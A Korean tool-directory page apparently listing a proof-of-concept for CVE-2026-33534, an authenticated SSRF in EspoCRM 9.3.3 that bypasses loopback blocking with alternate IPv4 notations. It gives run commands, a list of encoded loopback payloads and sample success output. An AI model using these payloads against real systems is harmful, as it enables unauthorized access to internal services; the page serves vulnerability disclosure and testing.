Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33534 — EspoCRM 9.3.3 - 대체 IPv4 표기법을 통한 인증된 SSRF | Kitploit
도구/GitHubGitHub/entrovyx/cve-2026-33534
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubentrovyx/cve-2026-33534

CVE-2026-33534

EspoCRM 9.3.3 - 대체 IPv4 표기법을 통한 인증된 SSRF

저장소 보기
34개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33534 - EspoCRM 9.3.3 인증된 SSRF

EspoCRM 9.3.3의 /api/v1/Attachment/fromImageUrl 엔드포인트에서 대체 IPv4 루프백 표기법을 통한 인증된 SSRF 개념 증명(PoC)입니다.

요약

EspoCRM 9.3.3은 http://127.0.0.1/...과 같은 직접 루프백 URL을 차단하지만, 서버 측 fetch 경로는 cURL이 루프백으로 정규화하는 대체 IPv4 표현을 허용합니다. 이를 통해 영향을 받는 첨부 파일/이미지 업로드 흐름에 접근 권한이 있는 인증된 사용자가 EspoCRM 서버가 내부 리소스를 가져오도록 만들 수 있습니다.

이 익스플로잇은 먼저 직접 127.0.0.1 제어 요청을 제출하여 HTTP 403으로 차단될 것으로 예상합니다. 그런 다음 여러 인코딩된 루프백 페이로드를 테스트하고 저장된 첨부 파일을 생성하는 페이로드를 보고합니다.

영향을 받는 버전

  • 취약 버전: EspoCRM 9.3.3
  • 수정 버전: EspoCRM 9.3.4
  • 권고: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
  • CVE: CVE-2026-33534
  • CWE: CWE-918

요구 사항

  • Python 3
  • requests
  • 유효한 EspoCRM 자격 증명
  • 대상 이미지/첨부 파일 필드 사용 권한

의존성 설치:

python3 -m pip install requests

사용법

포트 8083에서 실행 중인 EspoCRM 인스턴스에 대한 기본 로컬 검증:

python3 CVE-2026-33534.py \
  -u http://127.0.0.1:8083 \
  -U admin \
  -P 'Admin12345!' \
  --internal-port 8083 \
  --cleanup

사용자 지정 포트와 경로의 내부 서비스 테스트:

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --internal-port 9002 \
  --internal-path /interno.png \
  --cleanup

사용자 지정 페이로드만 사용:

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --no-default-payloads \
  --payload 0x7f000001 \
  --payload 2130706433

기본 페이로드

익스플로잇은 기본적으로 다음 루프백 호스트 표현을 테스트합니다:

0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1

사용자 지정 페이로드 파일이 지원됩니다. 각 줄은 다음 중 하나일 수 있습니다:

host
label=host

예시:

hex-dword=0x7f000001
decimal-dword=2130706433

실행:

python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt

옵션

-u, --url                 EspoCRM 기본 URL
-U, --username            EspoCRM 사용자 이름
-P, --password            EspoCRM 비밀번호
--internal-port           가져올 내부 루프백 포트
--internal-path           가져올 내부 경로
--payload                 추가 루프백 호스트 표기법
--payload-file            줄당 하나의 호스트 페이로드가 포함된 파일
--no-default-payloads     사용자 지정 페이로드만 사용
--field                   첨부 파일 필드, 기본값: avatar
--parent-type             상위 엔티티 유형, 기본값: User
--parent-id               선택적 상위 엔티티 ID
--cleanup                 성공한 페이로드로 생성된 첨부 파일 삭제
--stop-on-first           첫 번째 성공적인 우회 후 중지
--insecure                TLS 인증서 검증 비활성화

예상 출력

성공적인 익스플로잇은 직접 루프백 제어가 차단되고 하나 이상의 인코딩된 페이로드가 허용되는 것을 보여줍니다:

[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted             0177.0.0.1        HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword                0x7f000001        HTTP 200 id=... type=image/svg+xml size=4438

[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12

참고 사항

  • 기본 PoC는 대상 자체 루프백 리스너에서 /client/img/logo-light.svg를 가져옵니다. 다른 내부 서비스의 경우 --internal-port 및 --internal-path를 조정하세요.
  • 기본 필드는 User.avatar입니다. 테스트 계정에 다른 업로드 컨텍스트가 필요한 경우 --field, --parent-type 및 --parent-id를 사용하세요.
  • 테스트 중에는 --cleanup을 사용하여 생성된 첨부 파일을 자동으로 삭제하세요.
도구 다운로드